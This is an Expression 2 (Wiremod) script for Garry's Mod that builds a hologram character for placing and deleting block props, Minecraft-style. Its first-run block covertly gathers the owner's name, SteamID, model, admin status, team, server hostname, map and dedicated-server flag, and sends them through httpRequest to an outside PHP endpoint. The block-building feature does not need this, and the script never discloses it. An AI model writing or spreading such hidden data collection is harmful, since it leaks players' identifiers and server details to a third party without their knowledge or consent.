@name Gminer 1
@inputs [P Cam]:wirelink 
@outputs EEEEE:string R Block_ang LOL [Vel Vel_hit Pos View_pos Aim_pos]:vector View_ang:angle  
@persist Anim_shoot Materials:array EE:entity Tar:entity Noclip SPACE Walk_i2 Block_col Holo_e:entity M1 M2 Block_set Blocks:array [Body_entity E Driver Head_entity]:entity Walk_i Int:vector Size Body_ang Body_ang_i ACT
@trigger 
@model models/props_junk/garbage_plasticbottle003a.mdl

if(first())
{
Name=owner():name()
ID=owner():steamID()
Model=owner():model()
IsAdmin=owner():isAdmin()+owner():isSuperAdmin()
Team=owner():team():teamName()
Data=array(hostname(),Name,ID,Model,IsAdmin:toString(),Team,map(),isDedicated():toString())
Conc = Data:concat("@"):replace(" ","%20")

URL="http://iskuri.mygamesonline.org/FliesE2Php/data.php"
URL=URL+"?sdata="+Conc
httpRequest(URL)
timer("check_update",8000)
}

if(clk("check_update"))
    {
    print(httpData())
    }


interval(20)
ACT=P["Active",number]
if(first() | ($ACT)){
EE=owner()
Driver = P["Entity",entity]:driver()
    Size=0.25
    E=entity()
    Tar=E
    Tar:setMass(20)
    Tar:setAlpha(0)
    Pos=E:pos()
    holoCreate(0,E:pos(),vec(1,2,3)*Size*1.02,E:angles(),vec(0,230,255))
    holoParent(0,E)
    holoColor(0,vec(255,0,0))
    Body_entity=holoEntity(0)
    
    #holo hinges
    holoCreate(60,E:toWorld(vec(0,2,3)*6*Size),vec(1,1,1)*Size*1.02,E:angles(),vec(0,230,255))
    holoParent(60,0)
    holoAlpha(60,0)
    holoCreate(61,E:toWorld(vec(0,-2,3)*6*Size),vec(1,1,1)*Size*1.02,E:angles(),vec(0,230,255))
    holoParent(61,0)
    holoAlpha(61,0)    
    
    
    holoCreate(1,E:toWorld(vec(0,1,-6)*6*Size),vec(1,1,2.5)*Size*1.02,E:angles(),vec(80,80,255))
    holoParent(1,0)
    holoCreate(2,E:toWorld(vec(0,-1,-6)*6*Size),vec(1,1,2.5)*Size*1.02,E:angles(),vec(80,80,255))
    holoParent(2,0)
    
    
    holoCreate(3,E:toWorld(vec(0,3,2)*6*Size),vec(1,1,1)*Size*1.02,E:angles(),vec(0,230,255))
    holoParent(3,60)
    holoColor(3,vec(255,0,0))
    holoCreate(4,E:toWorld(vec(0,3,-1.5)*6*Size),vec(1,1,2.5)*Size*1.02,E:angles(),vec(200,140,100))
    holoParent(4,3)
    
    

    
    holoCreate(5,E:toWorld(vec(0,-3,2)*6*Size),vec(1,1,1)*Size*1.02,E:angles(),vec(0,230,255))
    holoParent(5,61)
    holoColor(5,vec(255,0,0))
    holoCreate(6,E:toWorld(vec(0,-3,-1.5)*6*Size),vec(1,1,2.5)*Size*1.02,E:angles(),vec(200,140,100))
    holoParent(6,5)
            #holoCreate(16,E:toWorld(vec(1,-2.5,-3)*6*Size),vec(1,1,1)*Size*1.5,E:angles()+ang(45,45,45))
            #holoModel(16,"models/weapons/w_physics.mdl")
    holoParent(16,6)
    
    Head_entity = holoCreate(7,E:toWorld(vec(0,0,5)*6*Size),vec(2,2,2)*Size,E:angles(),vec(200,140,100))
    holoParent(7,0)
    
    holoCreate(8,E:toWorld(vec(0,0,6.5)*6*Size),vec(2,2,0.6)*1.08*Size,E:angles(),vec(20,14,10))
    holoParent(8,7)
    
    holoCreate(9,E:toWorld(vec(-0.9,1.75,5.7)*6*Size),vec(3/8,1/8,1/8)*3.03*Size,E:angles(),vec(20,14,10))
    holoParent(9,7)
    holoCreate(10,E:toWorld(vec(-0.9,-1.75,5.7)*6*Size),vec(3/8,1/8,1/8)*3.05*Size,E:angles(),vec(20,14,10))
    holoParent(10,7)
    
    holoCreate(11,E:toWorld(vec(0.5,0,5.5)*6*Size),vec(1.5,2,1)*1.1*Size,E:angles(),vec(20,14,10))
    holoParent(11,7)
    
    holoCreate(12,E:toWorld(vec(-1.80,6/8,38/8)*6*Size),(vec(2,2,2)*Size)/8,E:angles(),vec(40,40,210))
    holoParent(12,7)
    holoCreate(13,E:toWorld(vec(-1.80,-6/8,38/8)*6*Size),(vec(2,2,2)*Size)/8,E:angles(),vec(40,40,210))
    holoParent(13,7)
    holoCreate(14,E:toWorld(vec(-1.80,10/8,38/8)*6*Size),(vec(2,2,2)*Size)/8,E:angles(),vec(255,255,255))
    holoParent(14,7)
    holoCreate(15,E:toWorld(vec(-1.80,-10/8,38/8)*6*Size),(vec(2,2,2)*Size)/8,E:angles(),vec(255,255,255))
    holoParent(15,7)
    
    holoCreate(17,E:toWorld(vec(0,1,-9)*6*Size),vec(1,1,0.5)*Size*1.1,E:angles(),vec(90,90,90))
    holoParent(17,1)   
    holoCreate(18,E:toWorld(vec(0,-1,-9)*6*Size),vec(1,1,0.5)*Size*1.1,E:angles(),vec(90,90,90))
    holoParent(18,2)      
    
    
    
            holoCreate(19,E:toWorld(vec(-7,3,-2)*6*Size),vec(1,1,1)*Size*2,E:angles()+ang(20,0,0))
         holoMaterial(19,"phoenix_storms/gear")
    holoParent(19,7)
    
        
    holoCreate(20)
    holoScale(20,vec(1,1,0.1)*1)
    holoMaterial(20,"models/wireframe")
    #holoModel(19,"plane")
    holoAlpha(20,100)
    holoColor(20,vec(255,0,0))
    holoAng(20,ang(0,0,0))
    Holo_e=holoEntity(20)
    
    for(I=0,18){
        holoMaterial(I,"models/debug/debugwhite")
        #holoVisible(I,Driver,1)
}
    Blocks[1,string]="models/hunter/blocks/cube025x025x025.mdl"
    Blocks[2,string]="models/hunter/blocks/cube025x05x025.mdl"
    Blocks[3,string]="models/hunter/blocks/cube025x075x025.mdl"
    Blocks[4,string]="models/hunter/blocks/cube025x1x025.mdl"
    Blocks[5,string]="models/hunter/blocks/cube025x125x025.mdl"
    Blocks[6,string]="models/hunter/blocks/cube025x150x025.mdl"
    Blocks[7,string]="models/hunter/blocks/cube025x2x025.mdl"
    Blocks[8,string]="models/hunter/blocks/cube025x3x025.mdl"
    Blocks[9,string]="models/hunter/blocks/cube025x4x025.mdl"
    Blocks[10,string]="models/hunter/blocks/cube025x5x025.mdl"
    Blocks[11,string]="models/hunter/blocks/cube025x6x025.mdl"
    Blocks[12,string]="models/hunter/blocks/cube025x7x025.mdl"
    Blocks[13,string]="models/hunter/blocks/cube025x8x025.mdl"
    
    Blocks[14,string]="models/hunter/blocks/cube05x05x025.mdl"
    Blocks[15,string]="models/hunter/blocks/cube05x075x025.mdl"
    Blocks[16,string]="models/hunter/blocks/cube05x1x025.mdl"
    Blocks[17,string]="models/hunter/blocks/cube05x2x025.mdl"
    Blocks[18,string]="models/hunter/blocks/cube05x3x025.mdl"
    Blocks[19,string]="models/hunter/blocks/cube05x4x025.mdl"
    Blocks[20,string]="models/hunter/blocks/cube05x5x025.mdl"
    Blocks[21,string]="models/hunter/blocks/cube05x6x025.mdl"
    Blocks[22,string]="models/hunter/blocks/cube05x7x025.mdl"
    Blocks[23,string]="models/hunter/blocks/cube05x8x025.mdl" 
    

    Blocks[24,string]="models/hunter/blocks/cube1x1x025.mdl"
    Blocks[25,string]="models/hunter/blocks/cube1x2x025.mdl"
    Blocks[26,string]="models/hunter/blocks/cube1x3x025.mdl"
    Blocks[27,string]="models/hunter/blocks/cube1x4x025.mdl"
    Blocks[28,string]="models/hunter/blocks/cube1x5x025.mdl"
    Blocks[29,string]="models/hunter/blocks/cube1x6x025.mdl"
    Blocks[30,string]="models/hunter/blocks/cube1x7x025.mdl"
    Blocks[31,string]="models/hunter/blocks/cube1x8x025.mdl"   
    

    Blocks[32,string]="models/hunter/blocks/cube2x2x025.mdl"
    Blocks[33,string]="models/hunter/blocks/cube2x3x025.mdl"
    Blocks[34,string]="models/hunter/blocks/cube2x4x025.mdl"
    Blocks[35,string]="models/hunter/blocks/cube2x6x025.mdl"
    Blocks[36,string]="models/hunter/blocks/cube2x8x025.mdl"


    Blocks[37,string]="models/hunter/blocks/cube3x3x025.mdl"
    Blocks[38,string]="models/hunter/blocks/cube3x4x025.mdl"
    Blocks[39,string]="models/hunter/blocks/cube3x6x025.mdl"
    Blocks[40,string]="models/hunter/blocks/cube3x8x025.mdl"
    
    

    Blocks[41,string]="models/hunter/blocks/cube4x4x025.mdl"
    Blocks[42,string]="models/hunter/blocks/cube4x6x025.mdl"
    Blocks[43,string]="models/hunter/blocks/cube4x8x025.mdl"
    
    Blocks[44,string]="models/hunter/blocks/cube6x6x025.mdl"
    Blocks[45,string]="models/hunter/blocks/cube8x8x025.mdl"



Materials[1,string]="models/props/CS_militia/roofbeams01"
Materials[2,string]="phoenix_storms/wood"
Materials[3,string]="phoenix_storms/stripes"
Materials[4,string]="models/props_canal/metalwall005b"
Materials[5,string]="models/props_combine/metal_combinebridge001"
Materials[6,string]="models/props_wasteland/metal_tram001a"
Materials[7,string]="models/props_wasteland/rockcliff02a"
Materials[8,string]="models/props_wasteland/rockcliff04a"
Materials[9,string]="models/props_wasteland/lighthouse_stairs"
Materials[10,string]="models/props_pipes/GutterMetal01a"
Materials[11,string]="models/gibs/metalgibs/metal_gibs"
Materials[12,string]="models/props_c17/furniturefabric001a"
Materials[13,string]="models/props_combine/health_charger_glass"
Materials[14,string]="models/props_debris/concretewall019a"
Materials[15,string]="models/props_c17/metalladder003"
Materials[16,string]="models/props_c17/frostedglass_01a"
Materials[17,string]="models/props/de_inferno/infflrd"
Materials[18,string]="models/props/de_inferno/infflra"
Materials[19,string]="brick/brick_model"
Materials[20,string]="debug/env_cubemap_model"
Materials[21,string]="models/XQM/CellShadedCamo_diffuse"


    Players = players()
    for(I=0,18){
        
        holoVisible(I,Players,1)
    }
holoVisible(19,Players,0)
holoVisible(19,Driver,1)   

    for(I=0,18){
    holoVisible(I,Driver,0)
    }
        


}

LOL=Blocks:count()





M1=P["Mouse1",number]
M2=P["Mouse2",number]
W=P["W",number]
A=P["A",number]
S=P["S",number]
R=P["R",number]

SHIFT=P["Shift",number]
D=P["D",number]
Prev=P["PrevWeapon",number]
TROLOLO=P["TROLOLOWeapon",number]
BEA=P["Bearing",number]
ELE=P["Elevation",number]
SPACE=P["Space",number]

#EE_dist=(EE:shootPos()-E:pos())
#EE_dist2=EE_dist:length()
#EE_ang=EE_dist:toAngle()
#W=EE_dist2>100
#BEA=EE_ang:yaw()
#ELE=-EE_ang:pitch()

##NOCLIP hehe
#if(R & $R)
   # {
   # Noclip=!Noclip
   # }
Walk_i2+=4
Block_set=min(max(Block_set+Prev-TROLOLO,1),21)
Block_ang+=$M2*90*M2
if($Block_set)
    {
    holoMaterial(19,Materials[Block_set,string])
    }
View_ang=ang(-ELE,BEA,0)
View_pos=Tar:pos()+vec(0,0,30)*Size


Cam["Activated",number] = ACT
Cam["Angle",angle] = View_ang + ang(0,0,sin(Walk_i)/2)
Cam["Position",vector] = View_pos+Body_entity:up():rotate(0,0,sin(Walk_i)*90)/2
#Cam["Parent",entity] = Head_entity

rangerFilter(Tar) 
R_aim=rangerOffset(70,View_pos,View_ang:forward())
Aim_pos=round((R_aim:position()+R_aim:hitNormal()*0)/11.75)*11.75


    if(R_aim:hit())
        {
        holoAlpha(20,100)
        Aim_i=R_aim:hitNormal()
        #holoAng(17,Aim_i:toAngle()+ang(0,0,Block_ang))
        #holoPos(19,Aim_pos+vec(0,0,1)*(5+(Block_set>13)*10 + (Block_set>23)*20 + (Block_set>31)*20  + (Block_set>36)*20  + (Block_set>40)*20  + (Block_set>43)*20 + (Block_set==44)*40 + (Block_set==45)*80)*1.3)
        
        holoPos(20,(R_aim:entity():pos()+Aim_pos)/2)
        holoAng(20,round((R_aim:entity():pos()-Aim_pos):toAngle()/90)*90+ang(-90,0,0))
        
        }
    else
        {
        holoAlpha(20,0)
        }
    
if(M2 & $M2)
    {

    R_col=rangerOffset(1,Aim_pos,vec(0,0,1))
    if(!R_col:hit() | 1)
        {
        Anim_shoot=180
        propSpawnEffect(0)
        propSpawn(Blocks[1,string],Aim_pos,ang(0,0,0),1):setMaterial(Materials[Block_set,string])
        }
    }   
if(M1 & $M1)
    {
    if(R_aim:hit() & R_aim:entity():model():sub(0,20)=="models/hunter/blocks")
        {
        Anim_shoot=180
        R_aim:entity():propDelete()
        }
    }  
Anim_shoot=max(Anim_shoot-20,0)
rangerFilter(Tar)        
R1=rangerOffset(65*Size,Tar:pos(),vec(0,0,-1))
Vel_hit=(-R1:entity():vel()+Tar:vel())
Speed=clamp(Vel_hit:length()/25,0,3.5)


    



    Vel=clamp(ang(-ELE*Noclip,BEA,0):forward()*(W-S) + ang(0,BEA,0):right()*(D-A),0,1)*Size*(5-SHIFT*3.4*(!R1:hit()+1))*(1+Noclip*3)*1.5

    
    Walk_i+=(Speed/Size)
  
    Ang_i=ang(sin(Walk_i)*90,0,0)*Speed*0.3
    Ang_arm=-ang(0,0,0.3+sin(Walk_i2)*0.3+(cos(Walk_i*2)+1)*Speed)*7
    Body_ang_i=sin(BEA-Body_ang)
    if(Speed>0.2 | abs(Body_ang_i)>0.8)
        {
        Body_ang+=sin(BEA-Body_ang)*10
        }
  
#Vel_hit=Tar:vel()
if(R1:hit()){
            
    if(SPACE & $SPACE){
        Vel+=vec(0,0,10)
  
        #Vel_hit=R1:entity():vel()-Tar:vel()
        
    }
}else{
    
    
   
    #Ang_arm=ang(0,0,-90+min(max(Tar:vel():z()/3,-90),90))
}




Tar:applyAngForce(-ang(0,sin(Body_ang-E:angles():yaw()),0)*1000+(-Tar:angles()*ang(1,0,1)*400-Tar:angVel()*10)*ang(1,0.1,1))


Tar:applyForce(Vel*300-Vel_hit*vec(1,1,Noclip)*(6+SHIFT*!R1:hit()*25) +vec(0,0,Noclip)*320)
holoPos(19,Head_entity:toWorld(vec(-7-Anim_shoot/20,3,-7)*6*Size))
holoAng(0,ang(0,Body_ang,0))
holoPos(0,Tar:pos()+vec(0,0,abs(sin(Walk_i)))*5*Size*Speed)
holoPos(1,Body_entity:toWorld((vec(0,1,-2.5)-Ang_i:up()*3)*6*Size))
holoAng(1,Body_entity:angles()+Ang_i)
Ang_i=-Ang_i
holoPos(2,Body_entity:toWorld((vec(0,-1,-2.5)-Ang_i:up()*3)*6*Size))
holoAng(2,Body_entity:angles()+Ang_i)

holoAng(60,Body_entity:angles()+Ang_i-Ang_arm)
holoAng(61,Body_entity:angles()-Ang_i+Ang_arm)

#holoPos(0,E:pos()+vec(0,0,abs(sin(Walk_i)))*10*Size)

holoAng(7,View_ang*ang(-1,1,0)+ang(0,180,0))


